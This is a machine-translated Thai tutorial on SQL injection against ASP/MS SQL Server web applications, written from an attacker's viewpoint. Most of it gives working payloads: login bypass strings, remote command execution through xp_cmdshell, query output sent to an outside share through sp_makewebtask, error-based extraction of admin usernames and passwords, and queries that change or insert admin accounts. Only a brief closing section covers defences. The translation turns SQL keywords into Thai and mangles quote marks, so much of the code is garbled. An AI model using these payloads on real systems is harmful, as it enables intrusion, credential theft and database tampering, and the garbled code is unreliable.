เมื่อเซิร์ฟเวอร์ที่สนใจเปิดเฉพาะพอร์ต 80 และเครื่องสแกนช่องโหว่ไม่สามารถรายงานสิ่งที่น่าสนใจได้ และคุณรู้ว่าผู้ดูแลระบบจะติดตั้งแพตช์ทั้งหมดบนเว็บเซิร์ฟเวอร์อย่างรวดเร็วเสมอ โอกาสสุดท้ายของเราคือการแฮ็กเว็บ การแทรก SQL เป็นการแฮ็กเว็บประเภทหนึ่งที่ใช้เฉพาะพอร์ต 80 และสามารถทำงานได้แม้ว่าจะมีการติดตั้งแพตช์ในเวลาที่เหมาะสมก็ตาม การโจมตีนี้มุ่งเป้าไปที่เว็บแอปพลิเคชัน (เช่น ASP, JSP, PHP, CGI ฯลฯ) มากกว่าที่เว็บเซิร์ฟเวอร์หรือบริการในระบบปฏิบัติการโดยตรง

บทความนี้ไม่มีความจริงใหม่ มีการอธิบายและใช้ SQL อย่างกว้างขวางทุกที่ บทความนี้มีไว้สำหรับผู้เริ่มต้นมากกว่า แต่บางทีผู้เชี่ยวชาญอาจจะพบเคล็ดลับใหม่หนึ่งหรือสองอย่าง ฉันขอแนะนำให้ตรวจสอบลิงก์ท้ายบทความเพื่อดูข้อมูลโดยละเอียดเพิ่มเติมจากผู้เชี่ยวชาญในสาขานั้น

1.1 SQL Inject คืออะไร

SQL Injection เป็นวิธีการที่ออกแบบมาเพื่อแทรกคำสั่ง/คำสั่ง SQL ผ่านทางหน้าเว็บ เว็บเพจจำนวนมากใช้พารามิเตอร์ที่แสดงต่อผู้ใช้เว็บและสร้างแบบสอบถาม SQL ไปยังฐานข้อมูล ยกตัวอย่างกรณีการเข้าสู่ระบบของผู้ใช้ เมื่อมีหน้าเว็บที่มีชื่อและรหัสผ่าน และมีการสืบค้น SQL ในฐานข้อมูลเพื่อตรวจสอบว่ามีผู้ใช้ที่ลงทะเบียนด้วยชื่อและรหัสผ่านนั้นหรือไม่ การใช้ SQL Injection ทำให้สามารถส่งชื่อผู้ใช้และ/หรือรหัสผ่านที่สร้างขึ้นเพื่อแก้ไขแบบสอบถาม SQL ซึ่งสามารถให้สิ่งที่น่าสนใจแก่เราได้

2.0 สิ่งที่เราควรมองหา

พยายามค้นหาหน้าที่ขอข้อมูลของคุณ เช่น หน้าค้นหา หน้าอภิปราย ฯลฯ บางครั้งหน้า html ใช้วิธีการ POST เพื่อส่งคำสั่งไปยังหน้าเว็บอื่น ในกรณีนี้ คุณจะไม่เห็นพารามิเตอร์ใดๆ ใน URL อย่างไรก็ตาม ในกรณีนี้ คุณสามารถค้นหาแท็ก "FORM" ในซอร์สโค้ด HTML ของหน้าเว็บได้ คุณจะพบสิ่งนี้:



พารามิเตอร์ทั้งหมดระหว่าง

และ
อาจเสี่ยงต่อการถูกฉีด SQL

2.1 จะเกิดอะไรขึ้นหากคุณไม่พบหน้าเว็บที่ใช้อินพุต

ค้นหาหน้าเว็บเช่น ASP, JSP, CGI หรือเว็บเพจ PHP ลองค้นหาหน้าเว็บที่ใช้พารามิเตอร์เช่น:

3.0. ฉันจะตรวจสอบได้อย่างไรว่าสิ่งที่ฉันพบมีช่องโหว่?

ลองเริ่มต้นด้วยคำพูดเดียว ป้อนบรรทัดต่อไปนี้:

สวัสดี" หรือ 1=1--

ในช่องชื่อผู้ใช้หรือรหัสผ่าน หรือแม้แต่ในพารามิเตอร์ URL ตัวอย่าง:

เข้าสู่ระบบ: สวัสดี" หรือ 1=1--
ผ่าน: สวัสดี" หรือ 1=1--
http://duck/index.asp?id=hi" หรือ 1=1--

หากคุณทำเช่นนี้โดยมีช่องที่ซ่อนไว้ เพียงดาวน์โหลด HTML ต้นฉบับ บันทึกลงในฮาร์ดไดรฟ์ของคุณ เปลี่ยน URL และช่องที่ซ่อนตามนั้น ตัวอย่าง:



หากโชคเข้าข้างคุณ คุณจะสามารถเข้าสู่ระบบได้โดยไม่ต้องใช้ชื่อผู้ใช้หรือรหัสผ่าน

3.1 แต่ทำไม " หรือ 1=1--?

ลองดูอีกตัวอย่างหนึ่งที่อธิบายประโยชน์ของโครงสร้าง " หรือ 1=1-- นอกเหนือจากการข้ามการลงทะเบียนแล้ว เรายังดูข้อมูลเพิ่มเติมที่ปกติไม่มีให้อีกด้วย พิจารณาหน้า asp ที่ลิงก์ไปยังหน้าอื่นด้วย URL ต่อไปนี้:

http://duck/index.asp?category=food

ใน URL "category" คือชื่อของตัวแปร และ "food" คือค่าที่กำหนดให้กับตัวแปรนั้น เมื่อต้องการทำเช่นนี้ หน้า asp สามารถประกอบด้วยรหัสต่อไปนี้:

v_cat = คำขอ ("หมวดหมู่")
sqlstr = "เลือก * จากผลิตภัณฑ์ WHERE PCategory = "" & v_cat & """
ตั้งค่า rs=conn.execute(sqlstr)

อย่างที่คุณเห็น ตัวแปรของเราจะถูกรวมเข้ากับ v_cat ดังนั้นแบบสอบถาม SQL ควรกลายเป็น:

เลือก * จากผลิตภัณฑ์ WHERE PCategory="food"

แบบสอบถามนี้ต้องส่งคืนชุดที่มีหนึ่งแถวขึ้นไปที่ตรงกับส่วนคำสั่ง WHERE ในกรณีนี้คือ "อาหาร" ตอนนี้เรามาเปลี่ยน URL ดังนี้:

http://duck/index.asp?category=food" หรือ 1=1--
เลือก * จากผลิตภัณฑ์ WHERE PCategory="food" หรือ 1=1--'

แบบสอบถามนี้จะส่งคืนแถวทั้งหมดในตารางผลิตภัณฑ์ ไม่ว่า Pcategory จะเป็น "อาหาร" หรือไม่ก็ตาม เครื่องหมายขีดคู่ "-" จะบอก MS SQL Server ให้ละเว้นส่วนที่เหลือของแบบสอบถามที่ตามหลังเครื่องหมายคำพูดเดี่ยว (") บางครั้งคุณสามารถแทนที่เครื่องหมายขีดคู่ด้วยเครื่องหมาย "#" ที่คมชัดได้

อย่างไรก็ตาม หากคุณใช้เซิร์ฟเวอร์ที่ไม่ใช่ SQL หรือคุณไม่สามารถเพิกเฉยต่อข้อความค้นหาที่เหลือได้ ให้ลอง:

" หรือ "ก"="ก

ตอนนี้แบบสอบถาม SQL จะกลายเป็น:

เลือก * จากผลิตภัณฑ์ WHERE PCategory="food" หรือ "a"="a"

แบบสอบถามนี้จะส่งกลับผลลัพธ์เดียวกัน

ขึ้นอยู่กับแบบสอบถาม SQL จริง คุณอาจต้องลองใช้ความเป็นไปได้เหล่านี้:

"หรือ 1=1--
"หรือ 1=1--
หรือ 1=1--
" หรือ "ก"="ก
" หรือ "ก"="ก
") หรือ ("a"="a

4.0 ฉันจะรันคำสั่งจากระยะไกลโดยใช้ SQLjection ได้อย่างไร

ความสามารถในการป้อนคำสั่ง SQL มักจะหมายความว่าเราสามารถดำเนินการสืบค้น SQL ได้ตามต้องการ การติดตั้งเริ่มต้นของ MS SQL Server ทำงานโดยมีสิทธิ์ของระบบ เราสามารถเรียกโพรซีเดอร์ในตัว เช่น master..xp_cmdshell เพื่อรันคำสั่งจากระยะไกลได้:

"; exec master..xp_cmdshell "ping 10.10.1.2" --

ลองใช้เครื่องหมายคำพูดคู่ (") ถ้า (") ไม่ได้ผล

อัฒภาคจะสิ้นสุดคำสั่ง SQL ปัจจุบันและอนุญาตให้คุณเรียกใช้คำสั่ง SQL ใหม่ หากต้องการตรวจสอบว่าคำสั่งสำเร็จหรือไม่ คุณสามารถตรวจสอบแพ็กเก็ต ICMP ใน 10.10.1.2 เพื่อดูว่าแพ็กเก็ตเหล่านั้นมีแพ็กเก็ตจากเซิร์ฟเวอร์ที่มีช่องโหว่หรือไม่:

http://site/?ID=31610

หากคุณไม่ได้รับคำขอ Ping จากเซิร์ฟเวอร์ และได้รับข้อความแสดงข้อผิดพลาดที่ระบุข้อผิดพลาดในการอนุญาต อาจเป็นไปได้ว่าผู้ดูแลระบบได้จำกัดการเข้าถึงของผู้ใช้เว็บไปยังขั้นตอนที่เก็บไว้

5.0 ฉันจะรับผลลัพธ์ของการสืบค้น SQL ของฉันได้อย่างไร

คุณสามารถใช้ sp_makewebtask เพื่อเขียนคำขอของคุณในรูปแบบ HTML:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "เลือก * จาก INFORMATION_SCHEMA.TABLES"

IP ที่ระบุต้องมีโฟลเดอร์ "แชร์" ที่สามารถเข้าถึงได้สำหรับทุกคน

6.0 จะดึงข้อมูลจากฐานข้อมูลโดยใช้ข้อความแสดงข้อผิดพลาด ODBC ได้อย่างไร

เราสามารถใช้ข้อมูลจากข้อความแสดงข้อผิดพลาดที่สร้างโดยเซิร์ฟเวอร์ SQL เพื่อดึงข้อมูลใด ๆ ตัวอย่างเช่น พิจารณาหน้าต่อไปนี้:

http://duck/index.asp?id=10

ตอนนี้เราจะพยายามเชื่อมจำนวนเต็ม '10' กับแถวอื่นในฐานข้อมูล:

http://duck/index.asp?id=10 UNION เลือก 1 TABLE_NAME อันดับแรกจาก INFORMATION_SCHEMA.TABLES--

ตารางระบบ INFORMATION_SCHEMA.TABLES ประกอบด้วยข้อมูลจากตารางทั้งหมดบนเซิร์ฟเวอร์

ฟิลด์ TABLE_NAME มีชื่อของแต่ละตารางในฐานข้อมูลอย่างชัดเจน มันถูกเลือกเพราะเรารู้ว่ามันมีอยู่จริงเสมอ คำขอของเรา:

เลือก TABLE_NAME 1 อันดับแรกจาก INFORMATION_SCHEMA.TABLES--

แบบสอบถามนี้จะส่งคืนชื่อในฐานข้อมูล เมื่อเรารวมค่าสตริงนี้เป็นจำนวนเต็ม 10 แล้ว MS SQL Server จะพยายามแปลงสตริง nvarchar ให้เป็นจำนวนเต็ม นี่จะทำให้เกิดข้อผิดพลาดโดยแจ้งว่าไม่สามารถแปลง nvarchar เป็น int ได้ เซิร์ฟเวอร์จะส่งข้อผิดพลาดต่อไปนี้:


ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "table1" to a column of data type int. !}
/index.asp บรรทัดที่ 5

ข้อความแสดงข้อผิดพลาดประกอบด้วยข้อมูลเกี่ยวกับค่าที่ไม่สามารถแปลงเป็นจำนวนเต็มได้ ในกรณีนี้ เราได้ชื่อของตารางแรก - "table1"

หากต้องการรับชื่อตารางถัดไป เราสามารถใช้แบบสอบถามต่อไปนี้:

http://duck/index.asp?id=10 UNION เลือก 1 อันดับแรก TABLE_NAME จาก INFORMATION_SCHEMA.TABLES โดยที่ TABLE_NAME ไม่ได้อยู่ใน ("table1")--

นอกจากนี้เรายังสามารถค้นหาข้อมูลโดยใช้ปุ่ม LIKE:

http://duck/index.asp?id=10 UNION เลือก 1 อันดับแรก TABLE_NAME จาก INFORMATION_SCHEMA.TABLES โดยที่ TABLE_NAME เช่น "%25login%25"--

ผู้ให้บริการ Microsoft OLE DB สำหรับข้อผิดพลาดของไดรเวอร์ ODBC "80040e07" ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "admin_login" to a column of data type int. !} /index.asp บรรทัดที่ 5

โครงสร้างที่สอดคล้องกัน "%25login%25" จะถูกแทนที่ด้วย %login% ในเซิร์ฟเวอร์ SQL ในกรณีนี้ เราจะได้ชื่อของตารางที่ตรงกับเกณฑ์ "admin_login"

6.1 ฉันจะค้นหาชื่อคอลัมน์ทั้งหมดในตารางได้อย่างไร

เราสามารถใช้ตาราง INFORMATION_SCHEMA.COLUMNS เพื่อแสดงชื่อคอลัมน์ทั้งหมดในตาราง:

http://duck/index.asp?id=10 UNION เลือก 1 อันดับแรก COLUMN_NAME จาก INFORMATION_SCHEMA.COLUMNS โดยที่ TABLE_NAME="admin_login"-

ผู้ให้บริการ Microsoft OLE DB สำหรับข้อผิดพลาดของไดรเวอร์ ODBC "80040e07"
ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "login_id" to a column of data type int. !}
/index.asp บรรทัดที่ 5

ตอนนี้เราทราบชื่อคอลัมน์แรกแล้ว เราสามารถใช้ NOT IN() เพื่อรับชื่อคอลัมน์ถัดไป:

http://duck/index.asp?id=10 UNION เลือก 1 อันดับสูงสุด COLUMN_NAME จาก INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" โดยที่ COLUMN_NAME ไม่อยู่ใน ("login_id")-

ผู้ให้บริการ Microsoft OLE DB สำหรับข้อผิดพลาดของไดรเวอร์ ODBC "80040e07"
ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "login_name" to a column of data type int. !}
/index.asp บรรทัดที่ 5

ต่อไปเราจะได้ชื่อคอลัมน์ที่เหลือเช่น "รหัสผ่าน", "รายละเอียด" จนกว่าเราจะพบข้อผิดพลาดดังต่อไปนี้

http://duck/index.asp?id=10 UNION เลือก 1 อันดับสูงสุด COLUMN_NAME จาก INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id", "login_name", "password", รายละเอียด ") -

ผู้ให้บริการ Microsoft OLE DB สำหรับข้อผิดพลาดของโปรแกรมควบคุม ODBC "80040e14"
รายการ ORDER BY จะต้องปรากฏในรายการที่เลือกหากคำสั่งมีตัวดำเนินการ UNION
/index.asp บรรทัดที่ 5

6.2. เราจะได้ข้อมูลที่เราต้องการได้อย่างไร?

ตอนนี้เราได้ระบุตารางที่สำคัญบางตารางแล้ว เราสามารถใช้เทคนิคเดียวกันนี้เพื่อดึงข้อมูลจากฐานข้อมูลได้

มารับ Login_name แรกจากตาราง "admin_login":

http://duck/index.asp?id=10 UNION เลือก 1 ชื่อล็อกอินสูงสุดจาก admin_login--

ผู้ให้บริการ Microsoft OLE DB สำหรับข้อผิดพลาดของไดรเวอร์ ODBC "80040e07"
ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "neo" to a column of data type int. !}
/index.asp บรรทัดที่ 5

ตอนนี้เรารู้แล้วว่ามีผู้ใช้ที่เป็นผู้ดูแลระบบชื่อล็อกอิน "นีโอ" ในที่สุดเราก็ได้รหัสผ่าน "นีโอ":

http://duck/index.asp?id=10 UNION เลือกรหัสผ่าน 1 อันดับแรกจาก admin_login โดยที่ login_name="neo"--

ผู้ให้บริการ Microsoft OLE DB สำหรับข้อผิดพลาดของไดรเวอร์ ODBC "80040e07"
ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "m4trix" to a column of data type int. !}
/index.asp บรรทัดที่ 5

ตอนนี้เราจะสามารถเข้าสู่ระบบเป็น "นีโอ" ด้วยรหัสผ่าน "m4trix"

6.3 จะรับค่าตัวเลขของสตริงได้อย่างไร?

มีข้อจำกัดในวิธีการที่อธิบายไว้ข้างต้น เราจะไม่สามารถรับข้อความแสดงข้อผิดพลาดหากเราพยายามแปลงข้อความที่ประกอบด้วยตัวเลข (เฉพาะอักขระระหว่าง 0...9) ตอนนี้เราจะอธิบายการรับรหัสผ่าน "31173" จากผู้ใช้ "trinity":

http://duck/index.asp?id=10 UNION เลือกรหัสผ่าน 1 อันดับแรกจาก admin_login โดยที่ login_name="trinity"--

เราอาจจะได้รับข้อผิดพลาด "ไม่พบหน้า" เหตุผลก็คือรหัสผ่าน "31173" จะถูกแปลงเป็นตัวเลขก่อน UNION ด้วยจำนวนเต็ม (ในกรณีของเรา 10) เนื่องจากนิพจน์ UNION ถูกต้อง เซิร์ฟเวอร์ SQL จะไม่สร้างข้อความแสดงข้อผิดพลาด ดังนั้นเราจึงไม่สามารถรับบันทึกตัวเลขได้

เพื่อแก้ไขปัญหานี้ เราสามารถเพิ่มสตริงตัวเลขที่ท้ายด้วยตัวอักษรบางตัวเพื่อป้องกันไม่ให้การแปลงเกิดขึ้น คำขอที่แก้ไข:

http://duck/index.asp?id=10 UNION SELECT การแปลง 1 อันดับแรก (int, รหัสผ่าน%2b"%20morpheus") จาก admin_login โดยที่ login_name="trinity"--

เราเพียงใช้เครื่องหมายบวก (+) เพื่อต่อท้ายรหัสผ่านด้วยข้อความใดก็ได้ (การเข้ารหัส ASSCII สำหรับ "+" = 0x2b) ต่อไป เราจะเพิ่ม "%20morpheus" ต่อท้ายรหัสผ่านจริง ดังนั้นแม้ว่าค่ารหัสผ่านจะเป็น "31173" ก็จะกลายเป็น "31173 morpheus" การเรียกฟังก์ชัน Convert() ด้วยตนเองที่พยายามแปลง "31173 morpheus" เป็นจำนวนเต็ม SQL Server จะแสดงข้อความแสดงข้อผิดพลาด ODBC:

ผู้ให้บริการ Microsoft OLE DB สำหรับข้อผิดพลาดของไดรเวอร์ ODBC "80040e07"
ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "31173 morpheus" to a column of data type int. !}
/index.asp บรรทัดที่ 5

ตอนนี้เราจะสามารถเข้าสู่ระบบเป็น "ทรินิตี้" ด้วยรหัสผ่าน "31173"

7.0 จะแก้ไข/แทรกข้อมูลลงในฐานข้อมูลได้อย่างไร?

เมื่อเราได้ชื่อทุกคนตามคอลัมน์ในตารางแล้ว เราก็สามารถทำได้ อัปเดต (UPDATE) หรือแม้แต่แทรก (INSERT) บันทึกใหม่ลงในตาราง ตัวอย่างเช่น เราสามารถเปลี่ยนรหัสผ่านสำหรับ "neo":

http://เป็ด/index.asp?id=10; อัปเดต "admin_login" ตั้งค่า "รหัสผ่าน" = "newpas5" โดยที่ login_name = "neo--

หากต้องการแทรกบันทึกใหม่ลงในฐานข้อมูล:

http://เป็ด/index.asp?id=10; INSERT INTO "admin_login" ("login_id", "login_name", "password", "details") ค่า (666,"neo2", "newpas5", "NA")--

ตอนนี้เราจะสามารถเข้าสู่ระบบเป็น "neo" ด้วยรหัสผ่าน "newpas5"

8.0 จะหลีกเลี่ยงการฉีด SQL ได้อย่างไร

กรองอักขระพิเศษในทุกบรรทัดใน:

ข้อมูลใด ๆ ที่ผู้ใช้ป้อน
- พารามิเตอร์ URL
- คุกกี้

สำหรับค่าตัวเลข ให้แปลงเป็นจำนวนเต็มก่อนส่งต่อไปยังแบบสอบถาม SQL หรือใช้ ISNUMERIC เพื่อให้แน่ใจว่าเป็นจำนวนเต็ม

เรียกใช้ SQL Server ในฐานะผู้ใช้ที่ไม่มีสิทธิพิเศษ

ลบขั้นตอนการจัดเก็บที่ไม่ได้ใช้: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask